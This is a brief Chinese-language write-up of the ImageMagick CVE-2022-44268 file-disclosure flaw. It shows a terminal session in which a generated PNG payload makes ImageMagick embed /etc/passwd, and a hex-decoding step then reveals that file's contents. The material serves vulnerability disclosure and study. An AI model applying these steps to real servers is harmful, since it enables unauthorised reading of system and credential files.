MetabaseQ 的研究人员发现了 CVE-2022-44268,即 ImageMagick 7.1.0-49 存在信息泄露漏洞。当它解析 PNG 图像(例如用于调整大小)时,生成的图像中可能嵌入了任意远程文件的内容(前提是 ImageMagick 二进制文件具有读取该文件的权限)。
(~)>>> python3 generate.py -f "/etc/passwd" -o exploit.png
[>] ImageMagick LFI PoC - by Sybil Scan Research <[email protected]>
[>] Generating Blank PNG
[>] Blank PNG generated
[>] Placing Payload to read /etc/passwd
[>] PoC PNG generated > exploit.png
(~)>>> convert exploit.png result.png
(~)>>> identify -verbose result.png
Raw profile type 字段中返回的数据,你将看到 /etc/passwd 的内容:(~)>>> python3 -c 'print(bytes.fromhex("726f6f743a783a726f6f743---REDACTED--").decode("utf-8"))'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin